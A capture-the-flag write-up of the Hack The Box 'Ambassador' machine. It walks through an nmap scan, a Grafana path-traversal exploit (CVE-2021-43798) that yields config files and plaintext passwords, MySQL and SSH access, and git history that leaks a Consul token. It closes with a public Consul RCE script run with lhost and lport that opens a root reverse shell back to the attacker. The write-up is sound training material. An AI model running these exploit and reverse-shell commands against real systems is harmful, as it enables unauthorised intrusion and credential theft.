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Hackthebox - Ambassador

  • Linux

Ambassador

Nmap

┌──(kali㉿kali)-[~/Documents/hackthebox/ambassador]
└─$ sudo nmap -T4 -sC -sV -O -Pn -p- 10.10.11.183                                                                                                        
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-27 11:41 EST
Nmap scan report for 10.10.11.183
Host is up (0.037s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 27 Dec 2022 16:43:09 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 27 Dec 2022 16:42:38 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Tue, 27 Dec 2022 16:42:43 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 10
|   Capabilities flags: 65535
|   Some Capabilities: IgnoreSigpipes, SupportsLoadDataLocal, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, FoundRows, SwitchToSSLAfterHandshake, LongColumnFlag, LongPassword, DontAllowDatabaseTableColumn, ConnectWithDatabase, ODBCClient, SupportsCompression, IgnoreSpaceBeforeParenthesis, InteractiveClient, Speaks41ProtocolNew, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: IV\x18\x1A\x18\x05\x15bM*B<xs\x14GL{r7
|_  Auth Plugin Name: caching_sha2_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=12/27%Time=63AB207E%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contr
SF:ol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpi
SF:res:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:
SF:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protec
SF:tion:\x201;\x20mode=block\r\nDate:\x20Tue,\x2027\x20Dec\x202022\x2016:4
SF:2:38\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found
SF:</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCa
SF:che-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPr
SF:agma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Http
SF:Only;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-
SF:Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20T
SF:ue,\x2027\x20Dec\x202022\x2016:42:43\x20GMT\r\nContent-Length:\x200\r\n
SF:\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSes
SF:sionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found
SF:\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache
SF:\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.tx
SF:t%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201
SF:;\x20mode=block\r\nDate:\x20Tue,\x2027\x20Dec\x202022\x2016:43:09\x20GM
SF:T\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n
SF:");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/27%OT=22%CT=1%CU=39848%PV=Y%DS=2%DC=I%G=Y%TM=63AB20
OS:FE%P=x86_64-pc-linux-gnu)SEQ(SP=FA%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=F9%GCD=1%ISR=10E%TI=Z%CI=Z%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%O3
OS:=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 177.76 seconds

  • A few ports are really worth having a look at

Port 80

  • We land on this page

landing page port 80

Port 3000

  • When accessing to http://10.10.11.183:3000

  • We get a login page to grafana grafana

  • We have a few links to explore here.

  • Also we should keep aside the fact that it is version 8.2.0. According to the website latest release is 9.1 so this is definitely something worth investigating

CVE-2021-4378

  • Let's see if this version is vulnerable to something. It is, we have a poc for CVE-2021-43798

  • Let's install and try it

  • I am going to use a virtual env python3 -m venv grafanaexploit

  • source grafanaexploit/bin/activate

  • In order for the script to work we need to edit the file /exploit-grafana-CVE-2021-43798/grafanaexploit/lib/python3.10/site-packages/prompt_toolkit/styles/from_dict.p

  • We have to change the import from collections import Mapping to from collections.abc import Mapping (I found this fix from this video)

  • We can now launch the script

  • I did a file domain.txt with this line in it 10.10.11.183:3000

  • It works and we get these info cve 2021-43798

  • The etc/passwd file finds a developer user developer:x:1000:1000:developer:/home/developer:/bin/bash developer

  • The file defaults.ini contains so interesting info database db path

    • We have a secret here it is the secret key that was extracted with the script SW2YcwTIb9zpOOhoPsMm security

    • This might be worth investigating aws

    • This too Engine

  • The db file contains the user admin (to read it we can use sqlbrowser sqlitebrowser 10_10_11_183_3000/grafana.db)

  • The graphana.ini has the admin password messageInABottle685427 admin pass We can login on grafana as the admin. admin login I can not find a place to execute command or anything... Let's use sqlite3 to have a look at the db file, this way we will be able to use the cmd line (plus it will be more easy on our eyes :D) sqlite3 exploit-grafana-CVE-2021-43798/10_10_11_183_3000/grafana.db We can find useful sqlite3 commands here

  • We find another password in the data_source table dontStandSoCloseToMe63221! password We saw that the mysql port was open with our nmap. Let's connect to it mysql -h 10.10.11.183 -u grafana -p When having a look at the databases we have an usal database whackywidget databases Let's run use whackywidget to see what it is. There is only one table users. Sounds interesting users We get another password for developer which is the user we spotted in the /etc/passwd file! password developer It is base64 encoded. My burp is still running so let's use the decoder. We seem to have a Sting fan on this box ^_^ anEnglishManInNewYork027468 decoder Let's try it on ssh ssh developer@10.10.11.183. It works we are logged in as developer Let's grab our user flag cat user.txt

Privesc

sudo -l does not give anything. Let's get linpeas. uname -a gives this Linux ambassador 5.4.0-126-generic #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

  • wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

  • python3 -m http.server 80

  • And in our target wget http://10.10.14.5/linpeas_linux_amd64

  • chmod +x linpeas_linux_amd64

  • ./linpeas_linux_amd64

    • We can see that root is allowed to ssh

    • /home/developer/.ssh/authorized_keys we could check these keys (file is empty)

    • This file is worth checking /usr/share/openssh/sshd_config (nothing here)

    • This folder as well /opt/my-app/

    • This folder also /opt/consul/

    • This seems interesting too /development-machine-documentation

The /opt folder

In the git logs we have interesting commits

0000000000000000000000000000000000000000 4b8597b167b2fbf8ec35f992224e612bf28d9e51 Developer <developer@ambassador.local> 1647211451 +0000       commit (initial): .gitignore
4b8597b167b2fbf8ec35f992224e612bf28d9e51 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6 Developer <developer@ambassador.local> 1647211621 +0000       commit: created project with django CLI
8dce6570187fd1dcfb127f51f147cd1ca8dc01c6 c982db8eff6f10f8f3a7d802f79f2705e7a21b55 Developer <developer@ambassador.local> 1647215085 +0000       commit: config script
c982db8eff6f10f8f3a7d802f79f2705e7a21b55 33a53ef9a207976d5ceceddc41a199558843bf3c Developer <developer@ambassador.local> 1647215256 +0000       commit: tidy config script
33a53ef9a207976d5ceceddc41a199558843bf3c 33a53ef9a207976d5ceceddc41a199558843bf3c Developer <developer@ambassador.local> 1647217299 +0000       Branch: renamed refs/heads/master to refs/heads/main

These 2 commits about the config script are worth having a look at. We can find a way to have a look at a specific commit here. This command should help us.

Note don't waste time on trying to use git commands elsewhere that in the my-app folder ^_-

We can try this git show c982db8eff6f10f8f3a7d802f79f2705e7a21b55. It leaks a token --token bb03b43b-1d81-d62b-24b5-39540ee469b5 and mentions Consul. We need to check out more about Consul token leaked The other commit on a config file was just done to remove the token. Here is consul's website. It seems like a juicy tool for security "Consul uses service identities and traditional networking practices to help organizations securely connect applications running in any environment."

  • Let's see if we can find some exploits online

  • I tried a few but the only one that worked was this one wget https://raw.githubusercontent.com/GatoGamer1155/Hashicorp-Consul-RCE-via-API/main/exploit.py

  • We have to get it in our target python3 -m http.server 80 we launch our http server

  • wget http://10.10.14.5/exploit.py we take the exploit from our target

  • It needs a few things to work exploit requirements

  • python3 exploit.py --rhost 127.0.0.1 --rport 8500 --lhost 10.10.14.5 --lport 4444 -tk bb03b43b-1d81-d62b-24b5-39540ee469b5

Note we can find the required port from the documentation here

  • We get a root shell and can grab the last flag rooted

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